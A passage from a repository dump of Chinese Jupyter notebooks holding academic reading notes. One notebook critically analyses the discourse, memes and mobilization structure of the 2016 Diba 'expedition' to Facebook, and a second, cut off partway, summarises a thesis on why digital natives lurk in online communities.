"需要在这样的背景下理解“帝吧出征”。要深入了解帝吧社群的动机,首先需要了解帝吧的发展过程,然后分析帝吧成员的言论表达,看到言论背后的行为动机内核,才能了解帝吧社群动员的整体逻辑和实质。\n", "\n", "## 从李毅吧到帝吧社群的嬗变\n", "\n", "以下是对李毅吧自我演化成了如今的帝吧的横纵向视角解析:\n", "\n", "**初期阶段:** 李毅吧是粉丝对李毅偶像崇拜的主题乐园,这与大多数粉丝应援团别无二致。\n", "\n", "**“李毅吧”被叫“帝吧”的开端:** 在李毅吧管理员对李毅存在争议的话题帖子进行审核控评,于是这部分成员为了规避审查而发表意见,开始使用借喻隐喻等方式进行二次创作及内涵化表达,典型例子为《李毅大帝本纪》被广泛传播,由此李毅吧又被人们称为帝吧;自此李毅吧向帝吧的转变,社群已逐渐具有了“反权威”式内涵文化意识形态雏形特征。\n", "\n", "**由“帝吧粉丝”、“D8粉丝”、“D丝“到“屌丝”称谓的嬗递:** 从大众对“D丝”的误读、戏谑性的解读成”屌丝“,帝吧对立社群及反粉丝并随之以“屌丝”一词作为对帝吧成员蔑称。“屌丝”一词,因其词缀“屌”带有的不雅、粗俗或冒犯性、不得体、不文明的詈语特征,由此成了轻蔑鄙夷对方的降格式称谓。\n", "\n", "**帝吧对“屌丝”意识的树立与流行:** 当对方通过自我提升降低了\"屌丝\"的地位时,\"屌丝\"被塑造成了与\"精英\"对立的低层次和高层次之间的二元对立。在这种语境下,人们对于贫富差距、文化断层和社会分层等问题产生了强烈的共鸣。\"屌丝\"这个概念从个人层面的指代和想象扩展到了整个集体意识的范畴。[[2]](#fn1-black)。第一批李毅粉丝开始退潮,沉淀于帝吧内涵式文化的持续扩张,也正是加速产生这一现象的质变因子。\n", "\n", "**“屌丝”一词的流行促成帝吧成员们集体反映民生现象的景观:**\n", "\n", "1. 成员群体特征:截止2016年,吧内成员以情绪高昂的大学生或工作男性为主,普遍年龄在30岁以下。[[3]](#fn2-black)\n", "2. 成员背景及属性:八九十年代的他们成长于父辈文化和当代社会文化与代际的分层之下,有着反传统、反权威、反阶层的生活意识。在当时,他们掌握了前沿获取信息及通讯的互联网媒介,接受了义务教育普及与大学扩招,树立起来自我智力及道德感优越的意识感。个体深陷被支配的生活,面对阶层分化与固化所带来的无力感,导致他们采取自我矮化、自嘲、憎恶现实的方式来抗衡社会现实中的矛盾。这种反抗常常通过愤世嫉俗和讽刺社会来表达,以期找到自己内心的慰籍。\n", "3. 亚文化对主流文化的二次构建:亚文化的表现形式:青年群体进行着不被传统主流所接受的新式独特风格的媒介素材创作与传播,寻找着属于自己的兴趣与价值观以及具有共同话题的群体。经过当今的表情包、影视动漫话题与当前实事进行融合的二创,进一步升温了帝吧成员们的讨论热情。\n", "\n", "至此,李毅吧从最初的粉丝对李毅偶像的崇拜主题乐园,自我演化成了一个群员们通过投射亚文化来反映社会阶层现象和探讨其他多元话题的帝吧社群,成功完成了一次嬗变。\n", "\n", "## 帝吧成员话语及表情包分析\n", "\n", "### 帝吧成员的话语特征及行为模式\n", "\n", "**帝吧话语内涵中反映了普通群众的价值理念,同时也存在对官员和富人的敌视情绪。** 在这些话语中,草根群众崇拜热点人物,并对他们进行提纯,做为草根英雄代表以及符合自己心中理想主义的象征。 然而,这种处理方式可能会制造二元对立,激化排外和仇恨情绪,甚至存在导致报复性的恶性治安事件的风险。\n", "\n", "**帝吧成员言谈举止放浪不羁,玩世不恭,嘲笑世俗,虽见社会表象特征,但整体缺乏表象问题的探究性思考,简化社会问题的复杂性,时常带有争议性的二元对立逻辑的话语。** 对于主流媒体中党政新闻,社群网友时常抨击“新闻联播,开会没有不隆重的,闭幕没有不胜利的,讲话没有不重要的,决议没有不通过的,鼓掌没有不热烈的,人心没有不鼓舞的,领导没有不重视的,接见没有不亲切的”;对世界、人生的看法问题,他们认为“其实,想开了,世界上的一切问题,都能用‘关你屁事’和‘关我屁事’来回答”;对社会公共娱乐话题,他们也是常态发泄“什么明星,什么偶像,什么流行,什么文化,四个字就可以概括一女娼男盗”。\n", "\n", "帝吧成员在发帖言语中表现出激情四溢、行为冲动和思维偏激极化的特征,这些暴动特征展现出以下几个方面:\n", "\n", "1. **群体情绪化**:这些暴动活动往往由一群人带头,激发了大量参与者的情绪,而这些情绪往往是基于主观的个人偏见或认知片面性而产生的。\n", "2. **集体行动的非理性**:这些暴动行为缺乏充分的理性思考和平衡的判断,参与者往往只看到事件的一面,忽视了背后的复杂性和多样性。\n", "3. **个体攻击和辱骂**:这些暴动往往伴随着对特定个体或组织的攻击和辱骂,涉及到人身攻击和贬低言辞,而非基于事实和理性的讨论。\n", "4. **群体效应和集体心理**:这些暴动往往通过社交媒体等平台迅速传播和扩大,形成了一种群体效应和集体心理,使得参与者更加倾向于跟随潮流,而非独立思考。\n", "\n", "因此,帝吧集体具有较高的暴动风险,这种风险在出征Facebook、对李宇春吧、东方神起吧等爆吧运动中得到了典型的体现。\n", "\n", "### 参与帝吧出征的女性话语特征\n", "\n", "女性基于母系情节的关怀及亲和力,相比男性来说更善于体验自己与他人的心情感受。这一点在女性小粉红群体加入后,帝吧从最初出征显现出“父权霸权”[(李红梅,2016,P108)](#fn1-black)的语态,到中期阶段流露出以“爱”为主题的感化式话语,得到明显体现。\n", "\n", "“我只觉得台湾好可怜,这样被蒙蔽,有没有学过历史”
    \n", "“湾湾,祖国爱你”
    \n", "“我不会谈政治,没有什么大道理。只是讲点自己的经历。我是一个淘宝店主.在面对台湾同胞时,我总是给他们最大的优惠,最真诚的建议....希望所有台湾同胞们能理性看待回家这件事情。一个家,不管怎么分离,总是分不开的。”
    \n", "“湾湾们我来教你们唱国歌,起来不愿做奴隶的人们,唱!”“蔡阿姨,您买面膜吗?我给您打五折!!!”“蔡总,台湾朋友,有没有想过如果中华民族大团结,我们有多强大?”
    \n", "\n", "严常坤[(2018,P40)](#fn2-black)认为:这些具有亲和力的抒情政治话语话语,贴近生活、贴近实物,更易获得他人的肯定和回馈,这也是后期两岸网友开始交流的基础。不过,这些话语中的一些特征显示出一定的潜在意识植入和软洗脑的倾向。以下是对话语特征的分析:\n", "\n", "1. **倾向性言论**:部分话语表达出对台湾的同情或可怜,以及对祖国的热爱,这种情感表达可能会激发听众的共鸣,从而塑造他们对特定观点的倾向性。\n", "2. **技巧性使用**:有些话语采用了技巧性的表达方式,例如自称不懂政治但分享个人经历,或者以优惠价格和真诚建议的形式呼吁台湾同胞理性看待回归,这种方式可能通过亲和力和情感共鸣来影响听众的态度。\n", "3. **国家认同强调**:部分话语强调国家认同,如教唱国歌、以\"祖国爱你\"等方式,这种表达可能试图强化听众对国家认同的情感,进一步塑造他们的意识形态。\n", "4. **利益诱导**:有一句话提到给蔡阿姨打折销售面膜,这种经济利益诱导可能旨在通过商品交易来增强亲中立场,并增加听众对统一观点的认同。\n", "5. **言辞上存在短暂的生理感官不适与肉麻**:这些话语传递了一种强烈的情绪和情感,同时包含了一些潜在的操控和煽动因素,这样的言辞倾向于试图影响人的情感和态度及立场转向。有时候,当我们感觉到过度的情绪化和言辞的强烈倾向时,我们可能会产生不适和肉麻的感觉。这种感觉可能源自于对潜在操控和情绪化言辞的警觉和保护机制。\n", "\n", "综合上述特征,这些女性话语大多是以亲和力、情感共鸣、利益诱导而展开的感性认同与立场转向,包含一定的意识形态倾向与植入的目的。然而,个人的观点和立场会因不同的背景和观念而有所差异,因此在对待这些话语时,保持批判思维和多元意见的包容性是重要的。\n", "\n", "### 解读表情包语义重构\n", "\n", "这里引用严常坤[(2018,P49,P55)](#fn2-black)提及的表情包做说明与阐述。\n", "\n", "\n", "\n", "\n", "\n", "表情包的作用机制可以分析如下:\n", "\n", "**表情包内部结构**:表情包的第一层是通过人物动作和展现的表情来传递情感的第一印象。第二层是文字表述内容,结合第一印象的人物动作和表情,产生多重观感信息元素,使得表情包可以被多元化解读。夸张的人物动作和表情,结合严肃的文字,形成怪诞离奇的整体内容,催生出幽默效果,具备娱乐性和可重构性。\n", "\n", "**信息娱乐与意义重构**:当信息载体的娱乐元素多于直接严肃的文字时,信息传达的重心发生偏移,人们更倾向于关注和消遣娱乐内容。因此,表情包作为娱乐元素的载体,成为信息传达的重要方式。表情包作为双方娱乐的社交活动媒介,带有娱乐性质,并促成了意义上的重构。\n", "\n", "**虚拟场域的身份重塑**:通过在虚拟场域中使用表情包进行视觉修辞,个体以特定的方式展示自己的身份,并以此重构与他者之间的互动关系。通过塑造特定的形象和角色,个体对他者施加规训或影响,并在互动中塑造新的社会规范和期望。\n", "\n", "总体而言,表情包通过其内部结构、信息娱乐与意义重构以及虚拟场域的身份重塑,成为一种丰富、多样化的沟通工具,能够传递情感、娱乐人们并重新构建个体与社会互动的方式。\n", "\n", "## 帝吧社群动员研究\n", "\n", "### 帝吧社群的文化模型(框架认知)\n", "\n", "集体记忆是由法国社会学家莫里斯·哈布瓦赫(Maurice Halbwachs)在20世纪20年代首次提出的概念。它指的是一个集体所保存的各种记忆,包括关于集体过去的各种认知,涵盖实物、实践、知识和情感等方面的变化。对于社会个体而言,他们个人的经历、思考、情感体验和表达等都可以成为其记忆的一部分。而从整个社会的视角来看,无数个体的记忆从不同的角度、范围和层次相互集合、渗透和融合,进而形成宏观层面的社会记忆。\n", "\n", "集体记忆的形成和演变是社会共同体和群体认同的重要基础。它可以是特定社会群体、文化团体、民族群体或国家所共享的共同回忆,通过共同的历史、文化、价值观念和象征符号等元素来构建和维系。集体记忆不仅是个体记忆的延伸和扩展,还反映了群体的认同感和凝聚力,对于塑造群体身份、历史认知和社会共识具有重要作用。\n", "\n", "当下帝吧青年一代网民作为80后至95后的特殊群体,他们的集体记忆理所当然被包含在大的社会记忆之中,且他们社会认知文化地图和社会心理谱系一定程度上也被社会记忆所形塑。但由于人自身所能延伸出去的空间有限,长时间穿梭于社交论坛的帝吧网友的社会记忆很大程度上也源于网络事件的发生后,信息传播过程中的削平、磨尖、添加及传统主流媒体和意见领袖把关、过滤后的建构想象,最终形成目前我们所感受到的帝吧话语生产的文化模型。([严常坤,2018,P58及图8](#fn2-black))\n", "\n", "\n", "\n", "\n", "### 创伤性集体记忆刺激下,爆发“帝吧出征”集体行动\n", "\n", "台湾、西藏、钓鱼岛及南海问题,这些在稍有政治常识的国人看来都是不能逾越底线的问题。周子瑜高举“青天白日满地红旗”声称自己不是中国人而是台湾人,这使大陆人民本已复杂的爱国主义和民族情绪再次受到冲击,在集体创伤性记忆下,表明“台独”倾向这对长期接受“台湾自古以来是中国不可分割的一部分”的大陆青年来说,不可接受。事情一经扩散就成为了刺激网络民族主义话语高涨的重要来源,再经由帝吧的传播起到了爱国情感的唤起作用,让一群帝吧影响下的民粹主义者迅速转化成爱国主义者,发动了大陆互联网史上的第一次大规模的集体“翻墙”出征。([严常坤,2018,P58及图10](#fn2-black))\n", "\n", "\n", "\n", "民族主义与爱国情感的竞合可以理解为它们在一定程度上相互作用和交织在一起的关系。民族主义强调对民族的认同和忠诚,追求维护民族权益,而爱国情感则是对国家的热爱和关心。在国家面临挑战或威胁时,民族主义情绪可以激发起爱国情感,使人们更加团结和奋发向前。\n", "\n", "然而,我们也需要意识到民族主义在某些情况下可能被滥用:民族主义作为一种意识形态,如果被统治者或特定群体操纵,可能被用来排斥、边缘化其他群体,压制多样性、限制意见多元性,并合理化对他人的歧视或侵略行为。这种情况下,民族主义就成为一种[法西斯](https://zh.wikipedia.org/wiki/法西斯主义)的工具。\n", "\n", "### 动员组织模式\n", "\n", "社会的此种刺激、鼓舞效果,在某些场合特别地明显。在情绪激昂的集会当中,我们能够体会到平时没有的感受,也能够成就个人力量所无法完成的事情。.....基于这样的原因,所有团体一一政治的、经济的、宗教的一一都不忘定时举行集会,因为在这样的集会当中,借着共同信念的集体展示,团体成员就能够重新强化其共同信念。要强化某些在单独状态下容易消散的情绪,唯一要做的事,就是使所有分享着此一情绪的人们,处在更紧密、更有活力的关系当中。在此,Durkheim 特别强调起舆或者强烈的集体情绪本身所能发挥的特定社会功能或效应,从而其意义便非简单的以“非理性”一词可以抹消。其次,Durkheim认为创造集体亢奋氛围的实作,并不仅仅限于初民社会的氏族节庆,而是“所有的政治、经济、宗教团体”,为了维系团体内部的凝聚力、加强团体成员的信念,都必须定时举行集会。 ———— 《流动的群聚(mob-ility): 网路起哄的社会心理基础》[[4]](#fn4-black)\n", "\n", "#### 多平台网友与帝吧社群话语联合\n", "\n", "出征者除帝吧原有的“毅丝”绝大部分都是从其他社交平台临时动员招募而来,动员初期在两个QQ总群和前线部队下面分支六路小分队,一路负责收集“台独”的资料和图片、二路负责各大平台去动员网友、三路为后勤部队,负责制作反对“台独”的表情包和言论、四路主要是海外的留学生和华侨居多,负责相关文字的翻译工作、五路则是专门负责Facebook点赞和举报、最后一路主要负责粤语相关工作。([严常坤,2018,P58](#fn2-black))\n", "\n", "#### 草根意见领袖动员号召\n", "\n", "意见领袖指的是那些具有特殊影响力能够影响他人意见的人,然而草根意见领袖与其受众们也可视作一个趣缘团体、组织。在一个基础的价值观达成共识与亲近情感认同的群体,意见领袖更容易促使粉丝接受和认同意见领袖的观点,并对其产生强烈的情感共鸣,粉丝会积极传播和分享意见领袖的观点,形成信息的传播链。这种关联度促使意见领袖的观点和信息在网络上得到迅速传播和扩散,从而影响更多的人,这也为后续舆论爆发形成基础的动力。\n", "\n", "意见领袖通过与粉丝的互动和呼吁,能够动员粉丝参与到集体行动中,如签名运动、网络抗议等。粉丝在意见领袖的引领下,更容易团结起来,共同表达和维护特定的观点、权益或利益。因此,意见领袖与粉丝的关联度是网络舆论发生并进化的重要路径及基础机制。\n", "\n", "[严常坤,2018,P65,表6](#fn2-black)\n", "\n", "\n", "\n", "\n", "#### 型构的行动共同体:图像策略与暗示性话语\n", "\n", "国家疆域、图腾自不必说,下面简单阐述明星做为表情包的作用:\n", "\n", "1. 增加娱乐性和吸引力:明星作为公众关注的对象,拥有广泛的影响力和粉丝基础。使用明星的表情包可以增加动员行动的娱乐性和吸引力,吸引更多人参与和关注。\n", "2. 建立情感连接:明星作为公众喜爱的人物,其形象和表情可以与民众产生情感共鸣。使用明星的表情包可以通过触发人们对明星的喜爱和情感连接,进而将这种情感转移到动员行动上,增强人们对集体认同和行动的意愿。\n", "3. 强表达效果:明星的表情包通常具有鲜明的表情和特点,可以更准确地表达情感和态度。在动员行动中使用明星的表情包可以通过视觉形象直接传递信息和情感,增强表达效果,使信息更加生动、易于理解和传播。\n", "\n", "作为重要的动员资源,视觉文本或视觉象征符号常常以地图疆域、国家图腾和领袖个人形象等的形式展现,以此来获得集体认同和领土边界的概念,进而促成动员行动,视觉传播赋予的民族主义最大化。\n", "\n", "[严常坤,2018,P66,图10](#fn2-black)\n", "\n", "\n", "\n", "古斯塔夫・勒庞对于暗示话语更有细致性分析,从精神分析角度,他认为群体规则形成于集体幻觉机制,论述了群体常常处于一种期待状态所以很容易被暗示,一旦给予暗示性提示,经过相五传染之后很快就会形成群体倾向的一致性。因此帝吧形成的群体风格话语作为喑示力量,可诱导群体情感进行动员,在这过程中只需要看社群给予暗示性象征物是否精确到位即可,帝吧出征前给予的隐喻一一斯巴达300勇士的“king bar”动员图片就很好例子,通过此象征唤起了帝吧成员的情感和信念记忆,进发出了行动力量。[(严常坤,2018,67)](#fn2-black)\n", "\n", "#### 型构[[5]](#fn5-black)的行动共同体:文字劝服\n", "\n", "@有什么拗不过:#帝化fb出征#正规军就是特么厉害。
    \n", "@修炼成精的汤包妖:#FB表情包大战#帝吧化出征#哈哈哈哈哈哈精英部队来了,我们还有天涯没出动呢,湾湾在接下来的日子将向我们诠释什么叫做实力懵逼。
    \n", "@在旧时光里爱过你:#帝吧出征#燃爆了!!!!此生不悔生华夏,来生愿在种花家!!!我大中华就是属!!!翻不了墙支持不了前线!只能刷微博贴吧直播!!!希望我帝吧参战人员凯旋归来!!!! PS:听说黑客已经下水参战了,加油!!!!
    \n", "\n", "我们可以注意以下几个方面来观察:\n", "\n", "1. 情感激发:这类文字往往通过情感上的强调和煽动来激发读者的情感共鸣,以此产生一种集体认同和归属感。注意观察文字中是否出现情绪化的词语、表达方式和情感强调,以及是否有借用集体符号和象征来引发情感共振的手法。\n", "2. 话题集中:这种文字通常会集中在特定的话题或事件上,并对其进行极端的描述和评价。注意观察文字中是否有过度夸大、黑白分明、绝对化的说辞,以及对于特定群体或事件的赞美、崇拜或攻击性言辞。\n", "3. 群体效应:这种文字往往通过借助群体效应来传递信息和触发行动。注意观察文字中是否存在集体行动的号召、参与动员的手法,以及通过群体认同和归属感来加强信息传递和行动动机的特点。\n", "4. 上下文分析:除了文字本身,还需要考虑文字所处的环境和背景。观察文字的发布平台、作者身份、目标受众等因素,以及与其他相关信息的关联,可以更全面地理解文字的目的和意图。\n", "\n", "夸张性的情感表达:这些话语通过夸张的表述和情感的极端化,强调帝吧成员对于活动的热情和坚定信念。通过夸张的语言,他们表达出对活动的支持和自豪感,以激发群体成员之间的情感共鸣和归属感;群体心理学的应用:这些话语借鉴了群体心理学的原理,理解了聚集在一起的群体成员情感的极端性和简单性。他们利用群体心理学的特点,通过夸张的话语来吸引和激发群体成员的参与和支持;劝服传播的策略:这些话语在面对已经“热身”的群体时,采取了夸张的传播策略。由于群体成员已经对活动充满了热情和期待,他们在传播中使用夸张的语言来强调活动的重要性和威力,以进一步增强群体成员的参与动力。\n", "\n", "这些表述人的特征可以总结为:情感激发、极端夸张、集体行动动员、对帝吧群体及出征的事件的崇拜和赞美、借用集体符号和象征、强调集体认同和归属感。正如严常坤[(2018,P66,67)](#fn2-black)所说,随处可见的帝吧出征风格话语可以看出群体成员的狂热和爆发,正是应了那句对于狂热群体的动员时,不必考虑自己的逻辑论证是否合理正确,而只需危言耸听、夸大其词的话语即可。”总之,帝吧风格话语呈现的这些暗示性、陈述性、及夸张性的话语策略,看似散漫的表达,实则追求一种集体热情高涨的情境。\n", "\n", "### 民族主义的集体动员和网络舆论引导\n", "\n", "当群体的文化与他们倡导的价值目标重合时,形成了一种动力机制,促使群体成员对帝吧社群的多角度文化认同和集体互动。帝吧通过整齐划一的动员基础,深刻影响了其群体成员的价值观念和思维方式,从而调动了粉丝的积极性和团结性来支持社群的集体活动。\n", "\n", "在网络平台上,民族主义情感的表达成为一种常见现象。通过共享符号、行为和与同样认同的人建立联系,人们表达对国家和民族的认同和情感。这种身份政治的表演受到个体和外部环境的相互作用和影响。在\"周子瑜事件\"中,帝吧充分利用网络的连通性,在各平台上刷榜和引流,通过构建共同的\"爱国主义\"和\"民族主义\"话语,动员和征集参与者。虽然\"帝吧出征\"看起来组织有序,参与者需服从指挥,有明确的出征时间、纪律和攻击目标,还要求使用固定的集体模板等规则。然而,实际上年轻人受到帝吧新式话语的影响和动员,不一定需要深入思考逻辑或进行论证,将出征变成了一场狂欢喧闹的游戏,追求集体热情高涨的情境。在这个动员过程中,明星相关的表情包渲染气氛,通过将明星与民族主义情感相结合,进一步加强集体认同和动员效果,激发粉丝的情感共鸣,并增强他们对集体行动的支持和参与意愿。\n", "\n", "因此,“帝吧出征”可以被看作是一种集体动员和舆论引导的活动,通过符号、话语和情感的共同作用,调动粉丝的参与和支持,从而形成一种极化的群体行动力量。这种行动将网络暴力赋予了“民族主义”和“爱国主义”的正义化形象,使其在群体中得到广泛的接受和支持。" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 参考文献\n", "\n", "### 出处\n", "\n", "[[1] 李红梅, 如何理解中国的民族主义:帝吧出征事件分析, P104,P108 [J]国际新闻界, 2016(11).](#fn3)
    \n", "[[2] 林思维, 社会转型下网络语言的符号建构以及原因分析, P140, [J]今传媒, 2013(9).](#fn1)
    \n", "[[3] 严常坤, 帝吧出征”事件中话语表达与社群动员研究, P19,P40,P49,P55,P58,P65,P66,P67 [M]南京师范大学硕士论文, 2018(3).](#fn2)
    \n", "[[4] 黄厚铭,林意仁,流动的群聚(mob-ility): 网路起哄的社会心理基础, P25,[J]新闻学研究(台湾) ,2013(4).](#fn4)
    \n", "[[5] 邢婧越,褚 珺,石文博 ,社区运动参与者的实践 策略与认同构建 —— 一项都市社区运动的个案研究,P187[J]城市社会学,2013(7).](#fn5-black)\n", "\n", "\n", "### 扩展\n", "\n", "[李敬, 网络时代的语言:流行语的传播研究, [M]上海蓝皮书·传媒, 2015(01)](http://47.94.233.156/RMBase/SysJP/Multimedia/Pdf.ashx?ID=130329&contentid=381545&form=browse)
    \n", "[程岩, 群体极化、二阶多样性与制度安排读桑斯坦《极端的人群:群体行为的心理学》,[J]环球法律评论,2011(6)](http://www.globallawreview.org/UploadFile/Issue/0fgw0lig.pdf)
    \n", "田子木,女性主义视阈下的网络民族主义群体研究,[M]上海外国语大学硕士论文,2020(12)
    \n", "\n" ] } ], "metadata": { "language_info": { "name": "python" }, "orig_nbformat": 4 }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: d-ipynb/读《数字原住民网络潜水动因实证研究》.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# 读《数字原住民网络潜水动因实证研究》\n", "\n", "## 研究目的及意义\n", "\n", "研究目的(微观):\n", "\n", "1. 界定潜水者和数字原住民型潜水者消除对于潜水的模糊定义。\n", "1. 构建潜水动因模型提出各项解释数字原住民潜水行为的动因假设。\n", "1. 明确主要影响因素以及因素之间的相互影响关系。\n", "1. 为网络运营商和社区管理者提供更有效的建议。 \n", "\n", "研究意义(宏观):\n", "\n", "一、理论意义:梳理社会学、经济学和心理学三大学科中用于潜水研究的相关理论并搭建了潜水研究的理论框架为后续研究者的相关研究提供了理论支撑。
    \n", "二、实际意义:对于数字原住民潜水行为研究的实际意义主要体现在经济效益、网络可持续发展以及群体智慧三方面。\n", "\n", "## 论文框架分析结构流程图\n", "\n", "[(刘江,2013,p7)](#fn1-black)\n", "\n", "\n", "\n", "## 网络潜水研究述评\n", "\n", "### 概念定义及研究进展\n", "\n", "#### 数字原住民定义\n", "\n", "数字原住民(Digital Natives)的概念最早是由Marc Prensky于2001年提出来的,用于区别于数字移民(Digital Immigrants)。在他的研究文献中,将数字原住民定义为和高科技一起诞生、学习、生活并长大成人者,也就是一出生就面临网络世界的年轻人;而将数字移民定义为年龄较大,在新兴的信息科技、数字技术面前需要通过困难或不通畅的学习才能掌握的群体。(刘江,2013,p9)\n", "\n", "#### 网络潜水者定义\n", "\n", "据刘江[(2013,p12,p13)](#fn1-black)对网络潜水者的细分如下:\n", "\n", "**消极沉默的潜水者(Passive Lurkers-P):** 这是一类传统意义上的潜水者,他们彻底遵循只看不说的原则,有时也只阅读对自己有用的信息和内容,从不创作内容或共享内容等。\n", "\n", "**积极活跃的潜水者(Active lurker-A):** 这一类潜水者在网络社区中并不创作内容或共享内容或参与讨论或评论,而总是直接与创作者通过邮件或者其他即时聊天工具等进行私下相五交流,谈论自己的看法或获取对自己有用的东西。\n", "\n", "**间歇性的潜水者(Occasional lurkers-OL):** 这一类潜水者是以时间轴为基准来定义的,即在排除正常的个人因素或环境因素(如工作忙、不方便上网、电脑损坏等等一系列因素)后,某些网络用户在其行为纵向上时而活跃时而沉寂。间隙性潜水者通常可用于帮助一个网络社区或者社会化媒体的管理人员观察发掘其用户流失、用户黏性和忠诚度等状况。\n", "\n", "**浮出水面的潜水者(De-lurkers-DL):** 是指网络社区中潜水观望了一段时期后,由于某种原因诱导开始在社区论坛中创作、共享内容或参与讨论的用户群体。当然这种潜水者并不包括一开始进入创作、共享内容或参与讨论的用户。\n", "\n", "\n", "\n", "\n", "#### 潜水者的研究进展\n", "\n", "刘江[(2013,p13-15)](#fn1-black)列出的年鉴及文献分类样本图表,以及具体的统计汇总数据:与网络潜水研究研究主题的相关度较高的文献32篇,剔除1篇书稿章节,共计33篇研究文献。结合目前来看,总体上来研究网络潜水者的相关论文并不是很多,现阶段主要仍处于探索阶段。\n", "\n", "### 潜水研究的动因体系\n", "\n", "目前国外研究者们对外在动因的研究主要采用**问卷调查、访谈和实验**的方法进行研究,而提取出来的外在动因也比较丰富。[(刘江,2013,p18)](#fn1-black)\n", "\n", "#### 内在动因\n", "\n", "内在动因是从潜水者潜水行为的内部影响因素来探索潜水者的潜水动因,如从个人心理、个性特点、知识技能等的角度来分析潜水者的潜水行为内部驱动的影响因素。内在动因具有极强的内在化和自主性,即人的内在心理特征、情绪和认知结构强烈影响了实际行为模式。通过文献梳理内在动因主要表现在经济利益层面、社会层面以及知识技术层面。内在动因经济利益层面上的折射相对较少,主要体现在个人需求与满足方面。[(刘江,2013,p16)](#fn1-black)\n", "\n", "一、安全隐私:泄露自己的隐私信息或给自己带来不安全而选择潜水
    \n", "二、个性特点:害羞并缺乏自信从而不好意思参与发帖
    \n", "三、时间限制:个人时间有限从而每次进入社区论坛时只看不说
    \n", "四、发帖即承诺:社群未达到自我的期望,即归属感
    \n", "五、知识技术:专业知识匮乏和个人能力欠缺
    \n", "\n", "\n", "#### 外在动因\n", "\n", "潜水者的外在动因研究是从外部影响因素来探索潜水者的潜水动因,包括人为因素、组织因素、环境(情境)因素和社会因素的影响。外在动因的研究相对而言可操作性强,研究起来也较为方便。而外在动因也主要表现在经济利益层面、社会层面以及知识技术层面。外在动因在经济利益层面的突出表现便是外部奖励。外部奖励是指社区论坛网站等通过对发布者或评论者进行物质、金钱或者其他形式的回报奖励从而诱发网络用户的参与热情来影响网络参与者的相关行为。[(刘江,2013,p18)](#fn1-black)\n", "\n", "一、信息质量:信息质量较低、资源匮乏不能引起参与者兴趣,或者信息过载让参与者感到厌烦和累赘。
    \n", "二、工作限制:入群氛围不合时宜,或网站屏蔽,部分信息被审查。
    \n", "三、组织认同与氛围:不认同参与者、或组织氛围不友好。
    \n", "四、技术壁垒:早期的社论坛中由于技术发展的限制对于发布者技术要求很高,需要发布者知晓相关的计算机语言或网页语言
    \n", "五、交互延迟:长时间看不到自己的帖子或基本上没什么互动性。
    \n", "六、外部奖励:资金奖励,但取决于个人参与度与认同度,否则再大的奖励也只是昙花一现。
    \n", "\n", "\n", "\n", "#### 激励措施\n", "\n", "这里提出我的看法:\n", "\n", "一、安全方面:加强宣传与倡导,并一些不良涉及隐私的案例做为论坛对安全方面的重视。
    \n", "二、个性特点:设置“圈子”、组群的讨论组交流。
    \n", "三、时间方面:鼓励用户建立综合性话题讨论。
    \n", "四、发帖方面:设置专业区与开放性的“无所不谈,畅所欲言”的水区
    \n", "五、学识方面:论坛方面应该出一些教学视频辅导潜水者。让他们有一定的基础知识沉淀。
    \n", "六、外部奖励:给予善于发帖者及活跃者特殊“勋章”,设置生日信、升级信、以及为他们构建进一步的圈子交流。
    \n", "\n", "刘江的观点:\n", "\n", "一、正视成员动机差异,采取差异化激励措施:有必要以年龄为基础对社区或网络用户群体进行划分,对数字原住民群体和数字移民群体有针对性的采取不同的激励措施。
    \n", "二、增强外部激励和社区互动性,削弱数字原住民用户潜水行为意向,刺激其积极参与:成员等级晋升、积分回馈制度、社区明星榜或活跃榜,对入榜成员进行物质奖励。
    \n", "三、加强数字原住民的虚拟社区感的培养:对网暴言行进行风控,创建和谐友好的社区文化氛围;定期举办活动评选,加强凝聚力与归属感;加强社区成员间的信任感建立起实名注册。
    \n", "四、定期邮件调研及时了解社区成员潜水动因:咨询其潜水的相关动因或对于社区网站的不满意之处。
    " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 理论模型构建与假设提出\n", "\n", "### 潜水研究的理论基础\n", "\n", "前期主要鉴定潜水员是否是合法用户,如“潜水员只在享受别人的分享”、“局外人”、“属于论坛的合规成员”。随着后续有了社会学、社会心理学、组织行为学、经济学等学科领域做支撑,潜水现象及行为也有了更进一步细分。刘江[(2013,p20)](#fn1-black)对此进行了具体的论证:如 Cliff Lampe基于社会心理学中的社会懈怠效应来探究社区论坛用户群体规模的扩增对用户的贡献积极性和搭便车情绪的影响,Rafaeli等则引入社会资本理论来诠释网络潜水行为与社会政治参与行为的相似性,并且还引入该理论定义虚拟社区用户的社会资本和构建社交网络活动,从而探究个人社会资本对于自己或其他用户在虚拟社区中参与程度的影响。\n", "\n", "Gregor 将IS领域的理论用途归纳为五大类:1) 分析性(analyzing) ; 2)解释性(explaining) ;3)预测性(predicting); 4)解释和预测性(explaining and predicting); 5) 设计性(design) [(刘江,2013,p20)](#fn1-black)\n", "\n", "\n", "\n", "老实说,看到这里我并不想做多日未食的饿汉在饕餮盛宴全然不顾地胡吃海喝,而是分析如上图表的学科的内在关联、交叉性,在应用分析中去了解各学科知识要点与领会其主旨。\n", "\n", "### 模型构建的理论基础\n", "\n", "#### 计划行为理论\n", "\n", "时间标志:Ajzen在1991年发表的《The Theory of Planned Behavior》一文中对计划行为理论进行了进一步的阐释,同时也标志着该理论逐步走向成熟和应用。\n", "\n", "刘江[(2013,p27)](#fn1-black)将“计划行为理论”的抽象概念进行逐一阐述并以图示将概念流程分解与关联,他认为计划行为理论模型构成的五要素是行为态度,主观规范,知觉行为控制,行为意向以及实际行为,各个变量的含义如下:\n", "* 态度:指个体对执行相关行为所持的正面或负面的相关感觉,也是指由个体对此特定行为的相关评估经过概念化之后而形成的态度。\n", "* 主观规范:指周围社会环境压力对个体行为抉择的影响,它反映了对介体具有重要性的其他个体和团队对其行为决策的影响。\n", "* 知觉行为控制:指个体依据过去的经验,所预期到的执行某种特定行为的阻碍或难易程度。\n", "* 行为意向:指个体对于执行某项特定行为的主观机率的判定,反映了个体执行某一项特定行为的意愿程度。\n", "* 实际行为:是指个体实际采取行动的行为。\n", "\n", "总的来看就是**行动企图及行为实施。**\n", "\n", "\n", "\n", "#### 社会交换理论\n", "\n", "价值(Worth)=回报(Rewards)一成本(Costs)s(**合作意向**)\n", "\n", "#### 社会资本理论\n", "\n", 